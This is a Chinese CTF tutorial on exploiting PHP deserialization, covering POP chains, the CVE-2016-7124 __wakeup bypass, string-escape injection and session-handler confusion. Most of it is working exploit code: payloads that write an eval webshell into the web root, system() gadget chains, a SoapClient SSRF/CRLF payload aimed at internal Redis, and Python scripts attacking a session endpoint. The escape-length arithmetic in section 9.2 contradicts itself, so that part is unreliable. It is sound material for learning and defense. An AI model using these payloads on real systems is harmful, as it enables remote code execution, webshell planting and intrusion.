P11 PHP反序列化漏洞

2022-03-12 CTF-WEB 詹英

梳理 PHP 序列化机制、魔术方法触发链、POP 链构造、主流框架利用、绕过技巧及 CTF 实战方法。

一、PHP 序列化基础

1.1 序列化格式详解

<?php
// ── 基本类型序列化 ──
serialize(null);          // N;
serialize(true);          // b:1;
serialize(false);         // b:0;
serialize(42);            // i:42;
serialize(3.14);          // d:3.14;
serialize("hello");       // s:5:"hello";
serialize([1, 2, 3]);     // a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}
serialize(["k" => "v"]); // a:1:{s:1:"k";s:1:"v";}

// ── 对象序列化 ──
class User {
    public    $name  = "alice";
    protected $role  = "user";
    private   $token = "secret";
}

$u = new User();
echo serialize($u);
// O:4:"User":3:{
//   s:4:"name";  s:5:"alice";
//   s:7:"\x00*\x00role";  s:4:"user";
//   s:11:"\x00User\x00token"; s:6:"secret";
// }

1.2 序列化格式语法表

标识符 含义 示例
N; null N;
b:0/1; bool b:1;
i:n; integer i:42;
d:n; float d:3.14;
s:len:"str"; string s:5:"hello";
a:n:{...} array,n 为元素数 a:2:{i:0;i:1;i:1;i:2;}
O:len:"ClassName":n:{...} 对象,n 为属性数 O:4:"User":1:{...}
C:len:"ClassName":len:{data} 实现 Serializable 的对象
R:n; 引用,n 为变量编号 R:2;
r:n; 对象引用 r:2;

1.3 属性访问修饰符与序列化

<?php
class Demo {
    public    $pub  = "public";      // 键名:s:3:"pub"
    protected $prot = "protected";   // 键名:s:7:"\x00*\x00prot"(\x00*\x00前缀)
    private   $priv = "private";     // 键名:s:12:"\x00Demo\x00priv"(\x00类名\x00前缀)
    static    $stat = "static";      // 静态属性不参与序列化!
}

// ── 反序列化时属性键名的处理 ──
// public    → 直接使用属性名
// protected → %00*%00属性名  (URL 编码表示 \x00)
// private   → %00类名%00属性名

// ── 构造含 protected/private 属性的 Payload ──
// 方法一:直接在 PHP 中序列化后输出
$obj = new Demo();
$serialized = serialize($obj);
echo bin2hex($serialized);   // 查看十六进制,确认 \x00 字节

// 方法二:手动构造(注意 \x00 是一个字节,URL 编码为 %00)
$payload = 'O:4:"Demo":2:{s:3:"pub";s:6:"public";s:7:"' .
           "\x00*\x00" . 'prot";s:9:"protected";}';

// ── 长度计算注意事项 ──
// "\x00*\x00prot" 实际长度:1+1+1+4 = 7(\x00 各占 1 字节)
// "\x00Demo\x00priv" 实际长度:1+4+1+4 = 10

1.4 反序列化函数

<?php
// ── 主要反序列化入口 ──

// 1. unserialize():最直接的入口
$obj = unserialize($_GET['data']);
$obj = unserialize(base64_decode($_COOKIE['user']));
$obj = unserialize(file_get_contents('user.dat'));

// 2. unserialize() 带 allowed_classes(PHP 7.0+)
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);
$obj = unserialize($data, ['allowed_classes' => false]);  // 禁止所有类

// 3. session_start() → 从 session 文件反序列化
session_start();  // 若 session 内容可控 → 反序列化

// 4. preg_replace 的 /e 修饰符(PHP < 7.0,已废弃)
preg_replace('/.*/e', $_GET['code'], '');  // 直接代码执行

// 5. 各种间接触发
// YAML::parse → 某些库触发序列化
// XML 解析 → 某些库存在序列化入口
// ORM 的 __sleep/__wakeup 机制

// ── 危险:用户可控的反序列化 ──
// GET/POST 参数直接反序列化
$data = $_GET['obj'];
$obj  = unserialize($data);   // ← 漏洞入口

// Cookie 中的序列化数据
$user = unserialize(base64_decode($_COOKIE['user_data']));

// 文件内容反序列化
$cache = unserialize(file_get_contents("/tmp/cache_{$id}"));

二、魔术方法详解

2.1 魔术方法触发条件速查

魔术方法 触发时机 利用价值
__construct() 对象实例化时 ❌ 反序列化不触发
__destruct() 对象销毁时(GC/脚本结束) ⭐⭐⭐ 链尾执行
__wakeup() unserialize() 调用后 ⭐⭐⭐ 链头触发
__sleep() serialize() 调用前
__toString() 对象当字符串使用时 ⭐⭐⭐ 中间跳板
__invoke() 对象当函数调用时 ⭐⭐⭐ 中间跳板
__get($name) 访问不可访问/不存在属性时 ⭐⭐⭐ 中间跳板
__set($name, $val) 设置不可访问属性时 ⭐⭐
__isset($name) isset()/empty() 调用时 ⭐⭐
__unset($name) unset() 调用时 ⭐⭐
__call($name, $args) 调用不可访问方法时 ⭐⭐⭐ 中间跳板
__callStatic($name, $args) 静态调用不可访问方法时 ⭐⭐
__clone() clone 对象时
__debugInfo() var_dump()

2.2 各魔术方法详细说明

<?php
class MagicDemo {

    public $data;
    public $callback;
    public $obj;

    // ── __wakeup:链的起点 ──
    // 在 unserialize() 完成对象重建后立即调用
    // 常用于:初始化操作(打开文件、数据库连接等)
    public function __wakeup() {
        echo "[*] __wakeup 触发\n";
        // 常见利用:调用 $this->data 中存储的方法
        if ($this->obj) {
            $this->obj->init();   // 可触发 obj 的 __call 等
        }
    }

    // ── __destruct:链的终点 ──
    // 脚本结束或 unset() 时触发
    // 几乎不可避免地触发(除非提前销毁)
    public function __destruct() {
        echo "[*] __destruct 触发\n";
        // 常见利用:执行文件操作、命令执行
        if (isset($this->data)) {
            file_put_contents($this->data['file'], $this->data['content']);
        }
    }

    // ── __toString:字符串上下文跳板 ──
    // 触发场景:echo $obj, $obj . "str", (string)$obj
    //           in_array($obj, $arr), array_search($obj, $arr) 等
    public function __toString() {
        echo "[*] __toString 触发\n";
        return $this->callback->show();   // 触发 callback 对象的方法
    }

    // ── __invoke:被当作函数调用时 ──
    // 触发场景:$obj(), call_user_func($obj, ...), usort($arr, $obj)
    public function __invoke($arg) {
        echo "[*] __invoke 触发\n";
        return $this->callback($arg);     // 进一步调用
    }

    // ── __get:访问不存在/不可访问属性时 ──
    // 触发场景:$obj->undefinedProp, $obj->privateProp(外部访问)
    public function __get($name) {
        echo "[*] __get($name) 触发\n";
        return $this->data[$name];        // 可引发进一步操作
    }

    // ── __call:调用不存在/不可访问方法时 ──
    // 触发场景:$obj->undefinedMethod()
    public function __call($name, $args) {
        echo "[*] __call($name) 触发\n";
        return call_user_func($this->callback, $args[0]);  // 调用回调
    }
}

2.3 链式触发示意

反序列化触发链示意图:

unserialize($payload)
    │
    ▼
__wakeup()  ──→  访问属性  ──→  __get()
    │                               │
    ▼                               ▼
__destruct() ──→ 使用字符串 ──→ __toString()
    │                               │
    ▼                               ▼
文件写入/命令执行        调用为函数 ──→ __invoke()
                                    │
                                    ▼
                              call_user_func()
                                    │
                                    ▼
                              RCE / 文件操作

三、反序列化漏洞原理

3.1 漏洞形成条件

PHP 反序列化漏洞的形成需要:

① 用户可控的反序列化入口
   unserialize($userInput)
   unserialize(base64_decode($_COOKIE['data']))
   unserialize(file_get_contents($userControlledPath))

② 目标代码库中存在可利用的类
   含有危险操作的魔术方法(文件读写、命令执行、eval 等)
   或者可以通过方法跳转最终到达危险操作

③ 这些类在反序列化时可以被加载(已 include/require)
   框架的自动加载机制大大扩展了可用类的范围

注意:不需要目标代码中存在显式的 new DangerousClass()
只需要这些类被 autoload 机制加载即可!

3.2 一个简单的漏洞示例

<?php
// ── 目标代码(vulnerable.php)──

class Logger {
    public $logFile = "/var/log/app.log";
    public $logData = "";

    public function __destruct() {
        // 对象销毁时将数据写入日志文件
        file_put_contents($this->logFile, $this->logData, FILE_APPEND);
    }
}

// 漏洞入口:直接反序列化用户输入
$data = unserialize(base64_decode($_GET['obj']));
echo "Done";
<?php
// ── 攻击者构造 Payload ──

class Logger {
    public $logFile = "/var/www/html/shell.php";      // 控制写入路径
    public $logData = "<?php system(\$_GET['cmd']); ?>"; // 写入 WebShell
}

$evil = new Logger();
$payload = base64_encode(serialize($evil));
echo $payload;
// 访问:vulnerable.php?obj=<payload>
// 脚本结束时 __destruct 被触发
// 在 Web 根目录写入 WebShell!

3.3 反序列化攻击面分类

Web 反序列化入口:
  ├── GET/POST 参数
  │   └── unserialize($_GET['data'])
  ├── Cookie
  │   └── unserialize(base64_decode($_COOKIE['user']))
  ├── HTTP 头
  │   └── unserialize($_SERVER['HTTP_X_DATA'])
  ├── 文件上传内容
  │   └── unserialize(file_get_contents($uploadedFile))
  ├── Session
  │   └── session_start() 自动反序列化 session 文件
  ├── Phar 文件
  │   └── file_exists("phar://evil.phar/test")
  ├── 数据库读取
  │   └── unserialize($row['serialized_data'])
  └── Redis/Memcached 缓存
      └── unserialize($redis->get('user_cache'))

四、POP 链构造原理

4.1 什么是 POP 链

POP Chain(Property-Oriented Programming,面向属性编程)

核心思想:
  不需要写任何代码,只需要控制现有代码中对象的属性
  通过"属性"驱动程序执行流,最终到达危险函数

与 ROP(Return-Oriented Programming)类比:
  ROP:利用程序中的 gadget(代码片段)+ 控制栈 → RCE
  POP:利用类中的魔术方法(gadget)+ 控制属性 → RCE

构造步骤:
  1. 寻找"危险操作"(eval / system / file_put_contents 等)
  2. 向上追溯:什么调用了危险操作?
  3. 继续向上:什么触发了这个调用?
  4. 找到链头:某个魔术方法(__wakeup / __destruct)
  5. 将所有类的属性设置为期望值
  6. 序列化整个对象图

4.2 POP 链构造实战

<?php
// ── 目标代码(代码库中已有这些类)──

class A {
    public $obj;

    // 链头:反序列化后触发
    public function __wakeup() {
        $this->obj->action();   // 调用 obj 的 action 方法
    }
}

class B {
    public $cmd;

    // 中间跳板:action 方法不存在时触发 __call
    // 但若 action 存在于父类... 此处假设直接有 action
    public function action() {
        // 什么都不做(安全的类,不能直接利用)
        echo "B::action called\n";
    }
}

class C {
    public $func;
    public $arg;

    // 中间跳板:被当作字符串时触发
    public function __toString() {
        return call_user_func($this->func, $this->arg);   // 危险!
    }
}

class D {
    public $filename;
    public $content;

    // 链尾:action 方法包含危险操作
    public function action() {
        file_put_contents($this->filename, $this->content);  // 写文件!
    }
}
<?php
// ── 分析与构造 POP 链 ──

// 目标:写入 WebShell
// 链:A.__wakeup → D.action → file_put_contents

// 注意:
// 若直接 A.obj = new D(),则 A.__wakeup 调用 D.action() → 写文件 ✓
// 但如果需要更复杂的链:

// 复杂链(绕过某些检查):
// A.__wakeup → B.action(输出一个对象触发 __toString)→ C.__toString → call_user_func

// ── 构造 Payload ──
class A {
    public $obj;
}
class D {
    public $filename;
    public $content;
}

$d = new D();
$d->filename = "/var/www/html/shell.php";
$d->content  = "<?php @eval(\$_POST['cmd']); ?>";

$a = new A();
$a->obj = $d;

$payload = serialize($a);
echo base64_encode($payload);
// 发送:?data=<base64_payload>
// 触发:A.__wakeup → D.action → 写入 WebShell

4.3 长链构造模板

<?php
// ── 典型长链结构 ──

// 入口类(含 __wakeup / __destruct)
class Entry {
    public $next;     // 指向下一个对象

    public function __destruct() {
        $this->next->trigger();   // 触发下一个节点
    }
}

// 跳板类 1(含 __toString)
class Bridge1 {
    public $obj;

    public function trigger() {
        echo $this->obj;   // 对象用于字符串上下文 → __toString
    }
}

// 跳板类 2(含 __invoke)
class Bridge2 {
    public $handler;

    public function __toString() {
        return ($this->handler)();  // 对象当函数调用 → __invoke
    }
}

// 跳板类 3(含 __call)
class Bridge3 {
    public $target;

    public function __invoke() {
        $this->target->execute();   // 调用不存在的方法 → __call
    }
}

// 执行类(含危险操作)
class Executor {
    public $cmd;

    public function __call($name, $args) {
        system($this->cmd);   // RCE!
    }
}

// ── 组装链 ──
function build_chain($cmd) {
    $exec    = new Executor();
    $exec->cmd = $cmd;

    $b3      = new Bridge3();
    $b3->target = $exec;

    $b2      = new Bridge2();
    $b2->handler = $b3;

    $b1      = new Bridge1();
    $b1->obj = $b2;

    $entry   = new Entry();
    $entry->next = $b1;

    return serialize($entry);
}

echo base64_encode(build_chain("cat /flag"));

4.4 POP 链挖掘方法

手动挖掘步骤:

① 确定可用类集合
   扫描所有已 include/require 的文件
   检查 autoload 机制覆盖的目录
   composer 项目中 vendor/ 下的所有类

② 寻找链尾(Sink)
   grep -r "system\|exec\|passthru\|shell_exec\|eval\|assert" --include="*.php"
   grep -r "file_put_contents\|file_get_contents\|unlink\|rename" --include="*.php"
   grep -r "include\|require\|preg_replace.*\/e" --include="*.php"
   grep -r "call_user_func\|call_user_func_array" --include="*.php"

③ 向上追溯调用链
   找到包含 sink 的方法
   寻找哪些魔术方法可以触发这些方法
   构造调用路径

④ 使用自动化工具
   phpggc:PHP 通用 POP 链生成工具
   php-gadget-chain:gadget 搜索工具

五、属性类型与访问控制绕过

5.1 手动构造含特殊属性的序列化字符串

<?php
// ── 构造含 protected 属性的 Payload ──

// 方式一:在 PHP 中直接序列化(推荐)
class Target {
    protected $action;
    protected $target;
}

$t = new Target();
// 利用反射或直接赋值(若有访问器)绕过访问控制
// 通常在 CTF 中我们直接定义相同属性名的类
$payload = serialize($t);
// 将输出:O:6:"Target":2:{s:9:"\x00*\x00action";N;s:9:"\x00*\x00target";N;}

// 方式二:直接字符串拼接构造
// protected 属性键名格式:"\x00*\x00" + 属性名
$protected_key = "\x00*\x00action";
$payload = 'O:6:"Target":1:{s:' . strlen($protected_key) . ':"' .
           $protected_key . '";s:6:"system";}';

// 方式三:使用 PHP 脚本输出并 URL 编码
$obj = new Target();
$s   = serialize($obj);
// 发送时确保 %00 正确传递(POST body 比 GET query 更可靠)
# ── Python 构造含特殊字节的 PHP 序列化 Payload ──
import base64

def build_php_serialize(classname: str, props: dict) -> bytes:
    """
    构造 PHP 序列化字符串
    props: {"属性名": ("访问修饰符", "值")}
    访问修饰符: "public", "protected", "private"
    """
    parts = []
    for prop_name, (access, value) in props.items():
        if access == "public":
            key = prop_name.encode()
        elif access == "protected":
            key = b"\x00*\x00" + prop_name.encode()
        else:  # private
            key = b"\x00" + classname.encode() + b"\x00" + prop_name.encode()

        key_part = b"s:" + str(len(key)).encode() + b':"' + key + b'";'

        if isinstance(value, str):
            val_enc = value.encode()
            val_part = b"s:" + str(len(val_enc)).encode() + b':"' + val_enc + b'";'
        elif isinstance(value, int):
            val_part = b"i:" + str(value).encode() + b";"
        elif value is None:
            val_part = b"N;"
        else:
            val_part = value  # 已序列化的子对象

        parts.append(key_part + val_part)

    body = b"".join(parts)
    cn   = classname.encode()
    return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
            + str(len(props)).encode() + b":{" + body + b"}")

# 使用示例
payload = build_php_serialize("User", {
    "name":  ("public",    "admin"),
    "role":  ("protected", "administrator"),
    "token": ("private",   "secret_token"),
})
print(base64.b64encode(payload).decode())

5.2 属性数量绕过检查

<?php
// ── 场景:代码检查属性数量 ──
class Config {
    public $debug   = false;
    public $allowed = [];
    private $secret = "real_secret";
}

// 某些"防护"代码检查:
if (preg_match('/O:\d+:"Config":\d+:/', $serialized)) {
    // 检查属性数量是否与原始类一致...
    // 但这种检查往往不完整
}

// ── 利用多余属性绕过检查 ──
// PHP 反序列化时,额外的属性会被忽略(不会报错)
// 但已定义的属性会被赋值
// → 可以在序列化字符串中添加任意属性

// ── 利用属性覆盖 ──
// PHP 允许在序列化中出现重复键,后者覆盖前者
$evil = 'O:6:"Config":4:{' .
    's:5:"debug";b:1;' .          // 设置 debug=true
    's:7:"allowed";a:0:{}' .      // 设置 allowed=[]
    's:14:"\x00Config\x00secret";s:4:"evil";' .  // 覆盖 private 属性
    's:5:"extra";s:6:"inject";}'; // 额外属性(被忽略,但可用于某些注入)

六、常见利用类与内置类

6.1 常用危险 Gadget 类

<?php
// ── 场景一:含 system/exec 的 __destruct ──
class FileManager {
    public $command;
    public function __destruct() {
        system($this->command);       // 直接 RCE
    }
}
// Payload:O:11:"FileManager":1:{s:7:"command";s:2:"id";}

// ── 场景二:含 file_put_contents 的 __destruct ──
class Logger {
    public $filename;
    public $content;
    public function __destruct() {
        file_put_contents($this->filename, $this->content);  // 写文件
    }
}
// Payload:写 WebShell

// ── 场景三:含 include 的 __toString ──
class Template {
    public $tplFile;
    public function __toString() {
        include $this->tplFile;   // 文件包含 → 配合 phar:// 利用
        return "";
    }
}

// ── 场景四:call_user_func 的 __call ──
class Dispatcher {
    public $handlers;
    public function __call($name, $args) {
        call_user_func($this->handlers[$name], ...$args);  // 任意函数调用
    }
}

// ── 场景五:eval 的 __invoke ──
class Evaluator {
    public $code;
    public function __invoke() {
        eval($this->code);   // 直接 RCE
    }
}

6.2 PHP 内置类利用

<?php
// ── Exception 类:包含 __toString 方法 ──
// Exception::__toString() 返回异常信息字符串
// 可作为触发 __toString 的跳板

$e = new Exception("payload");
echo $e;   // 触发 __toString,输出格式化的异常信息

// ── Error 类(PHP 7+)──
$err = new Error("message");
echo $err;  // 同 Exception,触发 __toString

// ── SplDoublyLinkedList / SplStack / SplQueue ──
// 这些类在 foreach 遍历时会触发 rewind/next 等
// 某些版本中存在可利用的行为

// ── ArrayObject ──
$ao = new ArrayObject(['key' => 'value']);
$ao->offsetGet('key');  // 可触发各种操作

// ── SimpleXMLElement ──
$xml = new SimpleXMLElement('<root><data>test</data></root>');
// 属性访问可触发各种操作

// ── GlobIterator:利用 Glob 遍历文件 ──
$iter = new GlobIterator("/etc/pass*");
foreach ($iter as $file) {
    echo $file->getPathname();  // 列出文件名
}
// 可用于:通过 __toString 触发 GlobIterator 遍历
// 在某些场景下读取文件名(信息泄露)

// ── SplFileObject:读取文件 ──
// 常见 CTF 用法:利用 SplFileObject 读取任意文件
$f = new SplFileObject("/etc/passwd");
$f->current();  // 读取第一行
// 或配合 fgets:
while (!$f->eof()) {
    echo $f->fgets();
}

6.3 SSRF / 文件读取内置类

<?php
// ── SoapClient 内置类:SSRF ──
// PHP 内置,无需额外依赖
// __call 方法会发起 HTTP(S) SOAP 请求

$soap = new SoapClient(null, [
    'uri'      => 'http://attacker.com/ssrf',  // 控制请求 URI
    'location' => 'http://internal-service/api', // 控制请求目标
]);

// 触发:调用 SoapClient 的任意方法(如 $soap->anyMethod())
// → 发送 POST 请求到 location
// → 实现 SSRF!

// ── 构造 SSRF Payload ──
class SoapClient {
    // 在攻击者环境中重新定义(仅用于生成序列化数据)
}
$soap = new SoapClient(null, [
    'uri'      => 'http://attacker.com',
    'location' => 'http://127.0.0.1:6379/',  // 攻击 Redis
    'user_agent' => "evil\r\nX-Forwarded-For: 127.0.0.1\r\n",  // 注入 HTTP 头
]);

// 更完整的 SSRF + CRLF 注入
$soap = new SoapClient(null, [
    'uri'        => 'http://attacker.com',
    'location'   => 'http://127.0.0.1:80/',
    'user_agent' => "User-Agent: Mozilla\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 10\r\n\r\npayload=xx",
]);
// 序列化后发送,触发时发起带自定义 HTTP 头的请求

$payload = serialize($soap);
// 发送后,当目标代码调用 $unserialized->anyMethod() 时触发 SSRF

七、__wakeup 绕过(CVE-2016-7124)

7.1 漏洞原理

CVE-2016-7124

影响版本:
  PHP 5.x < 5.6.25
  PHP 7.x < 7.0.10

原理:
  当序列化字符串中声明的对象属性数量
  大于实际定义的属性数量时
  __wakeup() 方法不会被调用!

正常流程:
  unserialize() → 还原对象 → 调用 __wakeup() → 使用对象

绕过后流程:
  unserialize() → 还原对象 → __wakeup() 被跳过 → 直接使用对象 → __destruct()

利用场景:
  当 __wakeup() 中包含安全检查(如重置危险属性)时
  通过该漏洞绕过检查,直接触发 __destruct()

7.2 绕过示例

<?php
// ── 目标代码 ──
class Evil {
    public $cmd = "id";

    // __wakeup 尝试阻止利用
    public function __wakeup() {
        $this->cmd = "";    // 清空命令(安全检查)
        echo "[!] __wakeup: 已清空 cmd\n";
    }

    // __destruct 执行命令
    public function __destruct() {
        if (!empty($this->cmd)) {
            system($this->cmd);    // RCE
        }
    }
}

// ── 正常序列化 ──
$obj = new Evil();
$obj->cmd = "id";
$normal = serialize($obj);
echo $normal . "\n";
// O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
// 反序列化时:__wakeup 清空 cmd → __destruct 不执行命令

// ── CVE-2016-7124 绕过 ──
// 将属性数量从 1 改为 2(大于实际属性数)
$bypass = 'O:4:"Evil":2:{s:3:"cmd";s:2:"id";}';
//                    ↑ 改为 2(实际只有 1 个属性)
// 反序列化时:__wakeup 被跳过 → __destruct 正常执行 → RCE!

$evil = unserialize($bypass);
// 输出:uid=33(www-data) ...
# ── Python 自动生成 CVE-2016-7124 Payload ──
import re, base64

def wakeup_bypass(serialized: bytes) -> bytes:
    """
    自动将序列化字符串中的对象属性计数 +1
    触发 CVE-2016-7124 绕过 __wakeup
    """
    # 匹配 O:len:"ClassName":count: 模式
    pattern = rb'(O:\d+:"[^"]+":)(\d+):'
    def increment(m):
        count = int(m.group(2)) + 1
        return m.group(1) + str(count).encode() + b':'
    return re.sub(pattern, increment, serialized)

# 示例
original = b'O:4:"Evil":1:{s:3:"cmd";s:7:"cat /flag";}'
bypassed = wakeup_bypass(original)
print(f"原始: {original}")
print(f"绕过: {bypassed}")
print(f"Base64: {base64.b64encode(bypassed).decode()}")

7.3 嵌套对象的 __wakeup 绕过

<?php
// ── 嵌套对象场景 ──
class Outer {
    public $inner;

    public function __wakeup() {
        $this->inner = null;   // 清空内部对象(安全检查)
    }
}

class Inner {
    public $cmd;

    public function __destruct() {
        if ($this->cmd) system($this->cmd);
    }
}

// 正常 Payload(会被 __wakeup 破坏):
// O:5:"Outer":1:{s:5:"inner";O:5:"Inner":1:{s:3:"cmd";s:2:"id";}}

// CVE-2016-7124 绕过(Outer 属性数 1→2,跳过 __wakeup):
$bypass = 'O:5:"Outer":2:{s:5:"inner";O:5:"Inner":1:{s:3:"cmd";s:2:"id";}}';
//                     ↑ 仅修改最外层对象的属性计数

八、引用绕过与属性注入

8.1 引用绕过

<?php
// ── 引用绕过场景 ──
// 某些代码反序列化后对属性进行检查并修改
// 通过引用,修改一个变量会同时修改另一个

class User {
    public $isAdmin = false;
    public $role    = "guest";

    public function __wakeup() {
        // "安全检查":强制设置 isAdmin 为 false
        $this->isAdmin = false;
    }
}

// ── 使用引用绕过 ──
// 让 isAdmin 和另一个我们可控的属性指向同一个变量
// 当 __wakeup 清空 isAdmin 时,不影响其他路径

// 序列化时使用 & 建立引用关系
// PHP 序列化中引用:R:变量编号
// 例:让 role 引用 isAdmin(共享内存)
// O:4:"User":2:{s:7:"isAdmin";b:1;s:4:"role";R:2;}
// ← 这里 R:2 表示 role 引用第 2 个变量(isAdmin)
// 但 __wakeup 重置了 isAdmin → role 也被清空

// 反过来利用:让某个不被检查的属性 引用 危险属性

8.2 对象注入技巧

<?php
// ── 数组中嵌入对象 ──
// 某些代码接受数组格式的序列化,但内部会处理其中的对象

// 合法输入期望:a:2:{s:4:"name";s:5:"alice";s:3:"age";i:20;}
// 注入 Evil 对象:
$evil_payload = 'a:2:{' .
    's:4:"name";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}' .   // 注入对象
    's:3:"age";i:20;}';

// ── 字符串与对象的互转 ──
// 某些 PHP 版本/配置下,类型转换可以触发魔术方法
class Tricky {
    public function __toString() {
        system("id");
        return "";
    }
}
$t = new Tricky();
// 若代码中有:(string)$obj, "$obj", echo $obj 等 → 触发

九、字符串逃逸技术

9.1 序列化字符串逃逸原理

字符串逃逸(String Escape in Serialization)

背景:
  某些应用在序列化前对对象属性进行过滤/修改
  如果过滤操作改变了字符串长度(增长或缩短)
  可能导致序列化结构被破坏,从而注入额外数据

原理(增多):
  若过滤将 n 个字符替换为 m 个字符(m > n)
  字符串长度增大,但序列化中声明的长度仍是原始长度
  → 序列化解析器读取"多余"的字节
  → 这些多余字节可能是我们注入的序列化片段

原理(减少):
  若过滤将 m 个字符替换为 n 个字符(n < m)
  字符串长度减小,但声明的长度更大
  → 解析器越界读取,吃掉后续的序列化结构
  → 可以让解析器"跳过"后续属性的读取
  → 注入的新属性替代了被跳过的原有属性

9.2 增多逃逸(字符数增加)

<?php
// ── 场景:过滤函数让字符串变长 ──

// 过滤规则:将 "on" 替换为 "no"(等长,无效)
//           将 "evil" 替换为 "good_____"(4→9,增加 5 个字符)
function filter($str) {
    return str_replace("evil", "good_____", $str);
}

class User {
    public $name;
    public $isVip = false;
}

// 目标:控制 isVip = true

// 服务器端代码(漏洞版):
$user       = new User();
$user->name = $_GET['name'];   // 用户输入
$serialized = serialize($user);
$filtered   = filter($serialized);    // 过滤后再存储
$restored   = unserialize($filtered); // 反序列化使用

// ── 构造注入 Payload ──
// 原始序列化(name = "test"):
// O:4:"User":2:{s:4:"name";s:4:"test";s:5:"isVip";b:0;}

// 目标注入:让解析器读取我们注入的 isVip
// 注入字符串:
// 在 name 值中构造:[填充] + ";s:5:"isVip";b:1;}
// 每个 "evil" 被替换为 "good_____"(增加 5 字符)
// 通过填充多个 "evil" 来增加字符串长度
// 使序列化解析器认为 name 的值包含了注入的片段

// 设 name = "evilevilevilevil" + '";s:5:"isVip";b:1;}'
// 每个 evil(4) → good_____(9),增加 5
// 4 个 evil → 增加 20 字符
// 这样 name 的值在过滤后实际长度 = 16 + 20 + 19 = 55
// 但声明长度仍为 4*4 + 19 = 35... (需要精确计算)

// 精确计算逃逸的注入点数量:
$inject = '";s:5:"isVip";b:1;}';   // 19 个字符
$inject_len = strlen($inject);       // 19

// 需要逃逸 19 个字符
// 每个 "evil"(4) → "good_____"(9),净增 5
// 需要 ceil(19/5) = 4 个 "evil"(增加 20 字符)
// 但实际只需逃逸 19 个:需要 19 个 "evil" × ?
// 若每个增加 1 个字符:需要 19 个 evil(每次增加 1 字符)
// 若每个增加 5 个字符:需要 4 个 evil + 1 个单字符(ceil(19/5)=4,余 19-4*5=-1,不整除时需调整)

// 关键:逃逸长度 = 注入字符串长度 / 每次增加的字符数(必须整除!)
#!/usr/bin/env python3
"""
PHP 序列化字符串逃逸 Payload 生成器
"""

def calc_escape_payload(
    inject: str,           # 要注入的序列化片段
    replace_from: str,     # 过滤替换的源字符串
    replace_to:   str,     # 过滤替换的目标字符串
) -> str:
    """
    计算增多逃逸需要的填充量
    
    当 len(replace_to) > len(replace_from) 时(字符串增多)
    每次替换净增 delta = len(replace_to) - len(replace_from) 个字符
    需要 ceil(len(inject) / delta) 次替换使注入字符串"逃出"声明范围
    """
    delta = len(replace_to) - len(replace_from)
    if delta <= 0:
        raise ValueError("需要净增大的替换规则(len(to) > len(from))")
    if len(inject) % delta != 0:
        raise ValueError(f"注入长度 {len(inject)} 必须是 delta={delta} 的整数倍")

    n = len(inject) // delta
    padding = replace_from * n  # 填充 n 个 replace_from
    return padding + inject

# 示例
inject  = '";s:5:"isVip";b:1;}'  # 19 chars
# 若过滤:每个 "a"(1) → "aa"(2),净增 1
padding = calc_escape_payload(inject, "a", "aa")
print(f"name 的值设为:{repr(padding)}")
print(f"长度:{len(padding)}")

9.3 减少逃逸(字符数减少)

<?php
// ── 字符数减少的逃逸 ──
// 过滤将 "admin"(5) → ""(0),减少 5 个字符

function filter_decrease($str) {
    return str_replace("admin", "", $str);
}

// 序列化后的结构(简化):
// O:4:"User":2:{s:4:"name";s:10:"test_admin";s:5:"isVip";b:0;}
//                                    ↑ 原始长度声明为 10

// 过滤后:name 的实际内容变为 "test_"(长度 5)
// 但声明的长度仍是 10!
// 解析器期望读取 10 个字符,但只有 5 个是 name 的内容
// → 解析器继续读取后面的 5 个字节(来自后续的结构 ";s:5:")
// → 把这 5 字节当作 name 的值的一部分
// → 原来的 isVip 字段的 key 声明 "s:5:" 被"消耗"
// → 后续解析混乱,可以注入我们想要的属性值!

// 精确利用减少逃逸较复杂,需要精确计算"吃掉"多少字符
// 一般使用工具辅助计算

十、Session 反序列化

10.1 PHP Session 处理器差异

PHP Session 反序列化漏洞

背景:
  PHP 支持多种 session 序列化格式
  不同处理器对相同数据的解析方式不同

三种 Session 处理器:
  ① php_serialize  → serialize() / unserialize()
     格式:serialize()的标准格式

  ② php(默认)    → 键名|序列化值
     格式:username|s:5:"alice";role|s:4:"user";

  ③ php_binary     → 键名长度(1字节)键名序列化值
     格式:\x08username<序列化值>

漏洞场景:
  存储时使用 php_serialize 处理器
  读取时使用 php(默认)处理器
  ↓
  php_serialize 存储:a:1:{s:4:"user";s:5:"alice";}
  php 读取时以 | 为分隔符解析:
  键名 = 'a:1:{s:4:"user"'
  值   = 's:5:"alice";}' ← 被作为序列化字符串反序列化!

10.2 Session 反序列化利用

<?php
// ── 场景一:写入阶段使用 php_serialize ──
ini_set('session.serialize_handler', 'php_serialize');
session_start();

// 用户可控 session 内容写入
$_SESSION['username'] = $_POST['username'];
// 若 username = |O:4:"Evil":1:{s:3:"cmd";s:2:"id";}
// 存储内容:a:1:{s:8:"username";s:42:"|O:4:"Evil":1:{s:3:"cmd";s:2:"id";}";}

// ── 场景二:读取阶段使用 php(默认)──
ini_set('session.serialize_handler', 'php');
session_start();
// php 处理器遇到 | 符号就分割
// | 之前:a:1:{s:8:"username";s:42:"  ← 作为键名(无意义)
// | 之后:O:4:"Evil":1:{s:3:"cmd";s:2:"id";}  ← 被反序列化!

// ── 攻击步骤 ──
// 1. 找到使用 php_serialize 存储 session 的接口
//    在该接口的 session 字段中注入:|<恶意序列化字符串>
// 2. 找到使用 php(默认)读取 session 的接口
//    该接口触发反序列化 → RCE
#!/usr/bin/env python3
"""Session 反序列化利用脚本"""
import requests

TARGET     = "http://target.com"
WRITE_URL  = f"{TARGET}/login.php"     # 使用 php_serialize 的接口
READ_URL   = f"{TARGET}/profile.php"   # 使用 php(默认)的接口

# 构造恶意序列化字符串
EVIL_CLASS = "Evil"
EVIL_CMD   = "cat /flag"
evil_ser   = f'O:{len(EVIL_CLASS)}:"{EVIL_CLASS}":1:{{s:3:"cmd";s:{len(EVIL_CMD)}:"{EVIL_CMD}";}}'

# Session 反序列化 Payload:以 | 开头
payload = "|" + evil_ser

# 步骤 1:写入恶意 Session
s = requests.Session()
r = s.post(WRITE_URL, data={"username": payload, "password": "test"})
print(f"[*] 写入 Session: {r.status_code}")

# 步骤 2:触发反序列化
r = s.get(READ_URL)
print(f"[*] 触发反序列化: {r.status_code}")
print(f"[*] 响应: {r.text[:500]}")

10.3 Session 文件路径利用

<?php
// ── Session 文件路径泄露 + LFI ──

